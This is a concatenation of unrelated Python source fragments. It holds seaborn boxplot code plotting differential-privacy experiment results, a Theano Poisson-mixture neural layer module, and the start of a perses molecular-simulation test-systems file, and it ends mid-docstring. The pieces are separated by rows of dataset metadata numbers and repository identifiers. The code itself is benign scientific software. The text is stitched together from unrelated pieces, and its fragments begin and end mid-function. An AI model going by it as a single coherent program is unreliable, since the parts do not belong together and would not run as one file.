labels = ['10','50','100','200']
axes[0].set_xticklabels(labels)
axes[0].set_ylim(-49,250)
sns.boxplot(x="NoOfValues",
y="Result",
data=max_exp_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Max')
labels = [item.get_text() for item in axes[1].get_xticklabels()]
labels = ['10','50','100','200']
axes[1].set_xticklabels(labels)
axes[1].set_ylim(-49,250)
for ax in axes:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('No of Values')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
axes[0].axhline(10,xmin=0,xmax=0.25,color="blue",zorder=10)
axes[0].axhline(10,xmin=0.25,xmax=0.5,color="blue",zorder=10)
axes[0].axhline(10,xmin=0.5,xmax=0.75,color="blue",zorder=10)
axes[0].axhline(10,xmin=0.75,xmax=1.0,color="blue",zorder=10)
axes[1].axhline(100,xmin=0,xmax=0.25,color="blue",zorder=10)
axes[1].axhline(100,xmin=0.25,xmax=0.5,color="blue",zorder=10)
axes[1].axhline(212,xmin=0.5,xmax=0.75,color="blue",zorder=10)
axes[1].axhline(212,xmin=0.75,xmax=1.0,color="blue",zorder=10)
f.set_size_inches( 5.2, 3)
f.tight_layout()
f.show()
f.savefig("plots/noOfValues_minmax_pareto.pdf",format="pdf")
min_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='poisson') & (data['Method']=='Min_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)]
max_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='poisson') & (data['Method']=='Max_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)]
f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True)
sns.boxplot(x="NoOfValues",
y="Result",
data=min_exp_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Min')
labels = [item.get_text() for item in axes[0].get_xticklabels()]
labels = ['10','50','100','200']
axes[0].set_xticklabels(labels)
axes[0].set_ylim(-2,17.5)
sns.boxplot(x="NoOfValues",
y="Result",
data=max_exp_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Max')
labels = [item.get_text() for item in axes[0].get_xticklabels()]
labels = ['10','50','100','200']
axes[1].set_xticklabels(labels)
axes[1].set_ylim(-2,17.5)
for ax in axes:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('No of Values')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
axes[0].axhline(1,xmin=0,xmax=0.25,color="blue",zorder=10)
axes[0].axhline(0,xmin=0.25,xmax=0.5,color="blue",zorder=10)
axes[0].axhline(0,xmin=0.5,xmax=0.75,color="blue",zorder=10)
axes[0].axhline(0,xmin=0.75,xmax=1.0,color="blue",zorder=10)
axes[1].axhline(8,xmin=0,xmax=0.25,color="blue",zorder=10)
axes[1].axhline(10,xmin=0.25,xmax=0.5,color="blue",zorder=10)
axes[1].axhline(10,xmin=0.5,xmax=0.75,color="blue",zorder=10)
axes[1].axhline(14,xmin=0.75,xmax=1.0,color="blue",zorder=10)
f.set_size_inches( 5.2, 3)
f.tight_layout()
f.show()
f.savefig("plots/noOfValues_minmax_poisson.pdf",format="pdf")
return
def plot_sum_comparison(data):
sum_lap_df = data.loc[(data['Distribution']=='gaussian')& (data['Method']=='Sum_lap') & (data['Falloff Factor']==20) &(data['Target']==19453.0) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
sum_exp_df = data.loc[(data['Distribution']=='gaussian')& (data['Method']=='Sum_exp') & (data['Falloff Factor']==20) &(data['Target']==19453.0) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True)
sns.boxplot(x="Epsilon",
y="Result",
data=sum_lap_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Laplace')
axes[0].set_ylim(0,40000)
sns.boxplot(x="Epsilon",
y="Result",
data=sum_exp_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Interval')
axes[1].set_ylim(0,40000)
for ax in axes:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('Epsilon')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
ax.axhline(19553.0,color="blue",zorder=10)
f.set_size_inches( 5.2, 3)
f.show()
f.savefig("plots/comparison_sum.pdf",format="pdf")
return
def plot_avg_comparison(data):
sum_lap_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Avg_lap') & (data['Falloff Factor']==20) &(data['Target']==87.765) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
sum_exp_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Avg_exp') & (data['Falloff Factor']==20) &(data['Target']==87.765) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True)
sns.boxplot(x="Epsilon",
y="Result",
data=sum_lap_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Laplace')
axes[0].set_ylim(0,200)
sns.boxplot(x="Epsilon",
y="Result",
data=sum_exp_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Interval')
axes[1].set_ylim(0,200)
for ax in axes:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('Epsilon')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
ax.axhline(97.765,color="blue",zorder=10)
f.set_size_inches( 5.2, 3)
f.show()
f.savefig("plots/comparison_mean.pdf",format="pdf")
return
def plot_minmax_comparison(data):
min_lap_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Min_lap') & (data['Falloff Factor']==10) & (data['Target']==18.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
min_exp_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Min_exp') & (data['Falloff Factor']==10) & (data['Target']==18.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True)
sns.boxplot(x="Epsilon",
y="Result",
data=min_lap_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Laplace')
axes[0].set_ylim(0,200)
sns.boxplot(x="Epsilon",
y="Result",
data=min_exp_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Interval')
axes[1].set_ylim(0,200)
for ax in axes.flat:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('Epsilon')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
ax.axhline(28.0,color="blue",zorder=10)
f.set_size_inches( 5.2, 3)
f.show()
f.savefig("plots/comparison_min.pdf",format="pdf")
max_lap_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Max_lap') & (data['Falloff Factor']==10) & (data['Target']==180.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
max_exp_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Max_exp') & (data['Falloff Factor']==10) & (data['Target']==180.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True)
sns.boxplot(x="Epsilon",
y="Result",
data=max_lap_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Laplace')
axes[0].set_ylim(0,200)
sns.boxplot(x="Epsilon",
y="Result",
data=max_exp_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Interval')
axes[1].set_ylim(0,200)
for ax in axes.flat:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('Epsilon')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
ax.axhline(170.0,color="blue",zorder=10)
f.set_size_inches( 5.2, 3)
f.show()
f.savefig("plots/comparison_max.pdf",format="pdf")
return
def plot_derived_comparison(data):
epsilon_df = data.loc[(data['Distribution']=='binary') & (data['Method']=='Percentage') & (data['Falloff Factor']==20.0) &(data['Target']==-100.0) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
no_of_values_df = data.loc[(data['Distribution']=='binary') & (data['Method']=='Percentage') & (data['Falloff Factor']==20.0) &(data['Target']==-100.0) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3)& (data['Epsilon']==0.1)]
f, axes = plt.subplots(nrows=1, ncols=1,constrained_layout=True)
sns.boxplot(x="Epsilon",
y="Result",
data=epsilon_df,
color="lightblue")
axes.set_title('Sample-and-Aggregate')
axes.tick_params(axis='x',labelrotation=90)
axes.tick_params(axis='both', which='major')
axes.set_xlabel('Epsilon')
axes.set_ylabel('Result')
axes.axhline(50.0,color="blue",zorder=10)
axes.set_ylim(-1,101)
#for ax in axes:
axes.tick_params(labelrotation=90)
f.set_size_inches( 3, 3)
f.show()
f.savefig("plots/derived_epsilon.pdf",format="pdf")
f, axes = plt.subplots(nrows=1, ncols=1,constrained_layout=True)
sns.boxplot(x="NoOfValues",
y="Result",
data=no_of_values_df,
color="lightblue")
axes.set_title('Sample-and-Aggregate')
axes.tick_params(axis='x',labelrotation=90)
axes.tick_params(axis='both', which='major')
axes.set_xlabel('No of Values')
axes.set_ylabel('Result')
axes.axhline(50.0,color="blue",zorder=10)
axes.set_ylim(-1,101)
#for ax in axes:
axes.tick_params(labelrotation=90)
fig = plt.gcf()
f.set_size_inches( 3,3)
f.show()
f.savefig("plots/derived_noOfValues.pdf",format="pdf")
if __name__ == "__main__":
main()
| 42.61562 | 259 | 0.5953 | 3,948 | 27,828 | 4.081054 | 0.047619 | 0.025137 | 0.046549 | 0.052756 | 0.931293 | 0.922542 | 0.911929 | 0.901316 | 0.892999 | 0.87531 | 0 | 0.06114 | 0.190671 | 27,828 | 652 | 260 | 42.680982 | 0.654249 | 0.008588 | 0 | 0.728464 | 0 | 0 | 0.200355 | 0.014394 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018727 | false | 0 | 0.009363 | 0 | 0.043071 | 0.016854 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c01c84f120d7635edca82aedbe845125fb20f348 | 8,957 | py | Python | classes/model/layermodels/poisson_theano.py | dennisforster/NeSi | db59d24ae87167ea2817bba0c65aae732c9a3bbe | [
"AFL-3.0"
] | 1 | 2021-07-30T16:17:26.000Z | 2021-07-30T16:17:26.000Z | classes/model/layermodels/poisson_theano.py | dennisforster/NeSi | db59d24ae87167ea2817bba0c65aae732c9a3bbe | [
"AFL-3.0"
] | null | null | null | classes/model/layermodels/poisson_theano.py | dennisforster/NeSi | db59d24ae87167ea2817bba0c65aae732c9a3bbe | [
"AFL-3.0"
] | 1 | 2016-08-06T10:55:08.000Z | 2016-08-06T10:55:08.000Z | # Copyright (C) 2015, Dennis Forster <forster@fias.uni-frankfurt.de>
#
# LICENSE: THE SOFTWARE IS PROVIDED "AS IS" UNDER THE
# ACADEMIC FREE LICENSE (AFL) v3.0.
#
import theano
import theano.tensor as T
import numpy as np
from _layermodels import LayerModel
from utils.decorators import DocInherit
doc_inherit = DocInherit
#------------------------------------------------------------------------------
class Poisson(LayerModel):
"""(FF-)Mixture of Poisson layer for theano calculation"""
def __init__(self, C, D):
self.W = theano.shared(np.ones((C,D), dtype='float32'))
t_eps = T.scalar('epsilon', dtype='float32')
t_Y = T.vector('Y', dtype='float32')
t_I = T.vector('I', dtype='float32')
t_s = T.vector('s', dtype='float32')
self.input_integration = theano.function(
[t_Y],
T.dot(T.log(self.W),t_Y),
allow_input_downcast=True
)
self.softmax = theano.function(
[t_I],
T.exp(t_I)/T.sum(T.exp(t_I)),
allow_input_downcast=True
)
self.weight_update = theano.function(
[t_Y,t_s,t_eps],
self.W,
updates={
self.W:
self.W + t_eps*(T.outer(t_s,t_Y) - t_s[:,np.newaxis]*self.W)
},
allow_input_downcast=True
)
self.epsilon = None
self._Y = None
self._s = None
@doc_inherit
def feed(self, layer, multilayer, input_data, input_label, mode=''):
self._Y = input_data
I = self.input_integration(self._Y)
self._s = self.softmax(I-self._scale(I))
return
@doc_inherit
def update(self):
self.weight_update(self._Y,self._s,self.epsilon)
return
@doc_inherit
def activation(self):
return self._s
@doc_inherit
def set_weights(self, W):
self.W.set_value(np.asarray(W, dtype='float32'))
@doc_inherit
def get_weights(self):
return self.W.get_value()
def _scale(self, I):
# overflow fix for softmax-function
# over/underflow in sum(T.exp(x)) (float32) for approximately
# x > 88-ln(D) or x < -87
scale = 0
max = 88 - np.log(I.shape[0])
min = 87
if (I[np.argmax(I)] > max ):
scale = I[np.argmax(I)] - max
if (I[np.argmin(I)] < -min + scale):
I[np.argmin(I)] = -min + scale
return scale
#------------------------------------------------------------------------------
class Poisson_Recurrent(LayerModel):
"""Recurrent Mixture of Poisson layer for theano calculation"""
def __init__(self, C, D):
self.W = theano.shared(np.ones((C,D), dtype='float32'))
t_M = T.matrix('M', dtype='float32')
t_vM = T.vector('M', dtype='float32')
t_Y = T.vector('Y', dtype='float32')
t_I = T.vector('I', dtype='float32')
t_s = T.vector('s', dtype='float32')
t_eps = T.scalar('epsilon', dtype='float32')
self.input_integration = theano.function(
[t_Y],
T.dot(T.log(self.W),t_Y),
allow_input_downcast=True
)
self.M_summation = theano.function(
[t_M],
T.sum(t_M, axis=0),
allow_input_downcast=True
)
self.recurrent_softmax = theano.function(
[t_I,t_vM],
t_vM*T.exp(t_I)/T.sum(t_vM*T.exp(t_I)),
allow_input_downcast=True
)
self.weight_update = theano.function(
[t_Y,t_s,t_eps],
self.W,
updates={
self.W:
self.W + t_eps*(T.outer(t_s,t_Y) - t_s[:,np.newaxis]*self.W)
},
allow_input_downcast=True
)
self.epsilon = None
self._Y = None
self._s = None
@doc_inherit
def feed(self, layer, multilayer, input_data, input_label, mode=''):
if (input_label == -1):
# TODO: maybe build theano function using the shared weights
# of the upper layer
vM = self.M_summation(multilayer.Layer[
int(layer.get_inputsource()[1][15])
].get_weights())
# vM = np.sum(multilayer.Layer[
# int(layer.get_inputsource()[1][15])
# ].get_weights(),axis=0)
else:
vM = multilayer.Layer[
int(layer.get_inputsource()[1][15])
].get_weights()[input_label,:]
self._Y = input_data
I = self.input_integration(self._Y)
self._s = self.recurrent_softmax(I-self._scale(I), vM)
return
@doc_inherit
def update(self):
self.weight_update(self._Y,self._s,self.epsilon)
return
@doc_inherit
def activation(self):
return self._s
@doc_inherit
def set_weights(self, W):
self.W.set_value(np.asarray(W, dtype='float32'))
@doc_inherit
def get_weights(self, borrow_=False):
return self.W.get_value(borrow=borrow_)
def _scale(self, I):
# overflow fix for softmax-function
# over/underflow in sum(T.exp(x)) (float32) for approximately
# x > 88-ln(D) or x < -87
scale = 0
max = 88 - np.log(I.shape[0])
min = 87
if (I[np.argmax(I)] > max ):
scale = I[np.argmax(I)] - max
if (I[np.argmin(I)] < -min + scale):
I[np.argmin(I)] = -min + scale
return scale
#------------------------------------------------------------------------------
class Poisson_Recurrent_Filter(LayerModel):
"""Recurrent Mixture of Poisson layer for theano calculation"""
def __init__(self, C, D):
self.W = theano.shared(np.ones((C,D), dtype='float32'))
t_M = T.matrix('M', dtype='float32')
t_vM = T.vector('M', dtype='float32')
t_Y = T.vector('Y', dtype='float32')
t_I = T.vector('I', dtype='float32')
t_s = T.vector('s', dtype='float32')
t_eps = T.scalar('epsilon', dtype='float32')
self.input_integration = theano.function(
[t_Y],
T.dot(T.log(self.W),t_Y),
allow_input_downcast=True
)
self.M_summation = theano.function(
[t_M],
T.sum(t_M, axis=0),
allow_input_downcast=True
)
self.recurrent_softmax = theano.function(
[t_I,t_vM],
t_vM*T.exp(t_I)/T.sum(t_vM*T.exp(t_I)),
allow_input_downcast=True
)
self.weight_update = theano.function(
[t_Y,t_s,t_eps],
self.W,
updates={
self.W:
self.W + 0*t_eps*(T.outer(t_s,t_Y) - t_s[:,np.newaxis]*self.W)
},
allow_input_downcast=True
)
self.epsilon = None
self._Y = None
self._s = None
self._count = 0
self._ssum = np.zeros((10000))
@doc_inherit
def feed(self, layer, multilayer, input_data, input_label, mode=''):
if (input_label == -1):
# TODO: maybe build theano function using the shared weights
# of the upper layer
vM = self.M_summation(multilayer.Layer[
int(layer.get_inputsource()[1][15])
].get_weights())
# vM = np.sum(multilayer.Layer[
# int(layer.get_inputsource()[1][15])
# ].get_weights(),axis=0)
else:
vM = multilayer.Layer[
int(layer.get_inputsource()[1][15])
].get_weights()[input_label,:]
self._Y = input_data
I = self.input_integration(self._Y)
self._s = self.recurrent_softmax(I-self._scale(I), vM)
self._count += 1
self._ssum += self._s
if self._count == 60000:
mask = np.where(self._ssum < 10.)
print len(mask[0])
filtered_W = self.W.get_value()
filtered_W[mask] = np.zeros_like(filtered_W[mask])
self.W.set_value(filtered_W)
return
@doc_inherit
def update(self):
self.weight_update(self._Y,self._s,self.epsilon)
return
@doc_inherit
def activation(self):
return self._s
@doc_inherit
def set_weights(self, W):
self.W.set_value(np.asarray(W, dtype='float32'))
@doc_inherit
def get_weights(self, borrow_=False):
return self.W.get_value(borrow=borrow_)
def _scale(self, I):
# overflow fix for softmax-function
# over/underflow in sum(T.exp(x)) (float32) for approximately
# x > 88-ln(D) or x < -87
scale = 0
max = 88 - np.log(I.shape[0])
min = 87
if (I[np.argmax(I)] > max ):
scale = I[np.argmax(I)] - max
if (I[np.argmin(I)] < -min + scale):
I[np.argmin(I)] = -min + scale
return scale | 32.809524 | 79 | 0.524841 | 1,159 | 8,957 | 3.865401 | 0.118205 | 0.032366 | 0.046429 | 0.054018 | 0.895982 | 0.887723 | 0.882589 | 0.880357 | 0.880357 | 0.876563 | 0 | 0.020659 | 0.31908 | 8,957 | 273 | 80 | 32.809524 | 0.713888 | 0.123256 | 0 | 0.815668 | 0 | 0 | 0.024601 | 0 | 0 | 0 | 0 | 0.003663 | 0 | 0 | null | null | 0 | 0.023041 | null | null | 0.004608 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
220ff7b82fd3cf94a356b35a801d710b9e444338 | 118,256 | py | Python | perses/tests/testsystems.py | robbason/perses | 33a6b4c41da2414c727c7980cb400d6402b24f3d | [
"MIT"
] | null | null | null | perses/tests/testsystems.py | robbason/perses | 33a6b4c41da2414c727c7980cb400d6402b24f3d | [
"MIT"
] | null | null | null | perses/tests/testsystems.py | robbason/perses | 33a6b4c41da2414c727c7980cb400d6402b24f3d | [
"MIT"
] | null | null | null | from __future__ import print_function
"""
Test systems for perses automated design.
Examples
--------
Alanine dipeptide in various environments (vacuum, implicit, explicit):
>>> from perses.tests.testsystems import AlaninDipeptideSAMS
>>> testsystem = AlanineDipeptideTestSystem()
>>> system_generator = testsystem.system_generator['explicit']
>>> sams_sampler = testsystem.sams_sampler['explicit']
TODO
----
* Have all PersesTestSystem subclasses automatically subjected to a battery of tests.
* Add short descriptions to each class through a class property.
"""
# TODO: Use inexpensive charging methods for small molecules in tests
__author__ = 'John D. Chodera'
################################################################################
# IMPORTS
################################################################################
from simtk import openmm, unit
from simtk.openmm import app
import os
import os.path
import numpy as np
from functools import partial
from openeye import oechem
from openmmtools import states
from openmmtools.mcmc import MCMCSampler, LangevinSplittingDynamicsMove
from perses.utils.smallmolecules import sanitizeSMILES, canonicalize_SMILES
from perses.storage import NetCDFStorage, NetCDFStorageView
from perses.rjmc.topology_proposal import OESMILES_OPTIONS
from perses.rjmc.geometry import FFAllAngleGeometryEngine
import tempfile
import copy
from perses.dispersed.utils import minimize
from openmmtools.states import ThermodynamicState, SamplerState
from openmmforcefields.generators import SystemGenerator
from openforcefield.topology import Molecule
from perses.utils.openeye import smiles_to_oemol
#global variables
forcefield_files = ['amber14/protein.ff14SB.xml', 'amber14/tip3p.xml']
small_molecule_forcefield = 'gaff-2.11'
# TODO: Use dummy system generator to work around SystemGenerator issues
#from perses.rjmc.topology_proposal import DummySystemGenerator
#SystemGenerator = DummySystemGenerator
################################################################################
# TEST SYSTEMS
################################################################################
running_on_github_actions = os.environ.get('GITHUB_ACTIONS', None) == 'true'
class PersesTestSystem(object):
"""
Create a consistent set of samplers useful for testing.
Properties
----------
environments : list of str
Available environments
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler
"""
def __init__(self, storage_filename=None, mode='w', ncmc_nsteps=5, mcmc_nsteps=100):
"""Create a testsystem.
Parameters
----------
storage_filename : str, optional, default=None
If specified, bind to this storage file.
mode : str, optional, default='w'
File open mode, 'w' for (over)write, 'a' for append.
"""
self.storage = None
if storage_filename is not None:
self.storage = NetCDFStorage(storage_filename, mode='w')
self.environments = list()
self.topologies = dict()
self.positions = dict()
self.system_generators = dict()
self.proposal_engines = dict()
self.thermodynamic_states = dict()
self.mcmc_samplers = dict()
self.exen_samplers = dict()
self.sams_samplers = dict()
self.designer = None
self.geometry_engine = FFAllAngleGeometryEngine(metadata={})
self._splitting = "V R O R V"
self._timestep = 1.0*unit.femtosecond
self._ncmc_nsteps = ncmc_nsteps
self._mcmc_nsteps = mcmc_nsteps
self._move = LangevinSplittingDynamicsMove(timestep=self._timestep, splitting=self._splitting, n_restart_attempts=10)
self._move.n_restart_attempts = 10
class AlanineDipeptideTestSystem(PersesTestSystem):
"""
Create a consistent set of SAMS samplers useful for testing PointMutationEngine on alanine dipeptide in various solvents.
This is useful for testing a variety of components.
Properties
----------
environments : list of str
Available environments: ['vacuum', 'explicit']
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler for implicit solvent hydration free energies
Examples
--------
>>> from perses.tests.testsystems import AlanineDipeptideTestSystem
>>> testsystem = AlanineDipeptideTestSystem()
# Build a system
>>> system = testsystem.system_generators['vacuum'].create_system(testsystem.topologies['vacuum'])
# Retrieve a SAMSSampler
>>> sams_sampler = testsystem.sams_samplers['vacuum']
"""
def __init__(self, constraints=app.HBonds, **kwargs):
super(AlanineDipeptideTestSystem, self).__init__(**kwargs)
#environments = ['explicit', 'implicit', 'vacuum']
environments = ['explicit', 'vacuum']
temperature = 300*unit.kelvin
pressure = 1.0*unit.atmospheres
# Use sterics in proposals
self.geometry_engine.use_sterics = True
# Write atom-by-atom geometry output.
self.geometry_engine.write_proposal_pdb = True
self.geometry_engine.pdb_filename_prefix = 'geometry'
# Create a system generator for our desired forcefields.
barostat = openmm.MonteCarloBarostat(pressure, temperature)
#forcefield_kwargs = {'removeCMMotion': False, 'ewaldErrorTolerance': 1e-4, 'nonbondedMethod': app.NoCutoff, 'constraints' : app.HBonds, 'hydrogenMass' : 4 * unit.amus}
#small_molecule_forcefield = 'gaff-2.11'
system_generators = dict()
system_generators['explicit'] = SystemGenerator(forcefields = forcefield_files, barostat = barostat,
forcefield_kwargs = {'nonbondedCutoff' : 9.0 * unit.angstrom, 'implicitSolvent' : None, 'constraints' : constraints }, periodic_forcefield_kwargs={'nonbondedMethod' : app.CutoffPeriodic})
# NOTE implicit solvent not supported by this SystemGenerator
# system_generators['implicit'] = SystemGenerator(forcefields = forcefield_files,
# forcefield_kwargs = { 'nonbondedMethod' : app.NoCutoff, 'implicitSolvent' : app.OBC2, 'constraints' : constraints })
system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files,
forcefield_kwargs = {'implicitSolvent' : None, 'constraints' : constraints }, nonperiodic_forcefield_kwargs={'nonbondedMethod' : app.NoCutoff})
# Create peptide in solvent.
from openmmtools.testsystems import AlanineDipeptideExplicit, AlanineDipeptideImplicit, AlanineDipeptideVacuum
from pkg_resources import resource_filename
pdb_filename = resource_filename('openmmtools', 'data/alanine-dipeptide-gbsa/alanine-dipeptide.pdb')
from simtk.openmm.app import PDBFile
topologies = dict()
positions = dict()
pdbfile = PDBFile(pdb_filename)
topologies['vacuum'] = pdbfile.getTopology()
positions['vacuum'] = pdbfile.getPositions(asNumpy=True)
#topologies['implicit'] = pdbfile.getTopology()
#positions['implicit'] = pdbfile.getPositions(asNumpy=True)
# Create molecule in explicit solvent.
modeller = app.Modeller(topologies['vacuum'], positions['vacuum'])
modeller.addSolvent(system_generators['explicit'].forcefield, model='tip3p', padding=9.0*unit.angstrom)
topologies['explicit'] = modeller.getTopology()
positions['explicit'] = modeller.getPositions()
# Set up the proposal engines.
from perses.rjmc.topology_proposal import PointMutationEngine
proposal_metadata = {
'ffxmls' : ['amber99sbildn.xml'], # take sidechain definitions from this ffxml file
'always_change' : True # don't propose self-transitions
}
proposal_engines = dict()
chain_id = ' '
allowed_mutations = [('2','VAL'),('2','LEU'),('2','ILE')]
for environment in environments:
proposal_engines[environment] = PointMutationEngine(topologies[environment],system_generators[environment], chain_id, proposal_metadata=proposal_metadata, allowed_mutations=allowed_mutations)
# Generate systems
systems = dict()
for environment in environments:
systems[environment] = system_generators[environment].create_system(topologies[environment])
# Define thermodynamic state of interest.
thermodynamic_states = dict()
thermodynamic_states['explicit'] = states.ThermodynamicState(system=systems['explicit'], temperature=temperature, pressure=pressure)
#thermodynamic_states['implicit'] = states.ThermodynamicState(system=systems['implicit'], temperature=temperature)
thermodynamic_states['vacuum'] = states.ThermodynamicState(system=systems['vacuum'], temperature=temperature)
# Create SAMS samplers
from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler
mcmc_samplers = dict()
exen_samplers = dict()
sams_samplers = dict()
for environment in environments:
storage = None
if self.storage:
storage = NetCDFStorageView(self.storage, envname=environment)
chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment])
if environment == 'explicit':
sampler_state = states.SamplerState(positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors())
else:
sampler_state = states.SamplerState(positions=positions[environment])
mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move))
# reduce number of steps for testing
mcmc_samplers[environment].timestep = 1.0 * unit.femtoseconds
exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps': 0}, storage=storage)
exen_samplers[environment].verbose = True
sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage)
sams_samplers[environment].verbose = True
# Create test MultiTargetDesign sampler.
from perses.samplers.samplers import MultiTargetDesign
#target_samplers = { sams_samplers['implicit'] : 1.0, sams_samplers['vacuum'] : -1.0 }
target_samplers = { sams_samplers['vacuum'] : 1.0, sams_samplers['vacuum'] : -1.0 }
designer = MultiTargetDesign(target_samplers, storage=self.storage)
designer.verbose = True
# Store things.
self.environments = environments
self.topologies = topologies
self.positions = positions
self.systems = systems
self.system_generators = system_generators
self.proposal_engines = proposal_engines
self.thermodynamic_states = thermodynamic_states
self.mcmc_samplers = mcmc_samplers
self.exen_samplers = exen_samplers
self.sams_samplers = sams_samplers
self.designer = designer
class AlanineDipeptideValenceTestSystem(PersesTestSystem):
"""
Create a consistent set of SAMS samplers useful for testing PointMutationEngine on alanine dipeptide in various solvents.
Only valence terms are included---no sterics.
Properties
----------
environments : list of str
Available environments: ['vacuum']
topologies : dict of simtk.openmm.app.Topology
Initial system Topology objects; topologies[environment] is the topology for `environment`
positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers
Initial positions corresponding to initial Topology objects
system_generators : dict of SystemGenerator objects
SystemGenerator objects for environments
proposal_engines : dict of ProposalEngine
Proposal engines
themodynamic_states : dict of thermodynamic_states
Themodynamic states for each environment
mcmc_samplers : dict of MCMCSampler objects
MCMCSampler objects for environments
exen_samplers : dict of ExpandedEnsembleSampler objects
ExpandedEnsembleSampler objects for environments
sams_samplers : dict of SAMSSampler objects
SAMSSampler objects for environments
designer : MultiTargetDesign sampler
Example MultiTargetDesign sampler for implicit solvent hydration free energies
Examples
--------
>>> from perses.tests.testsystems import AlanineDipeptideValenceTestSystem
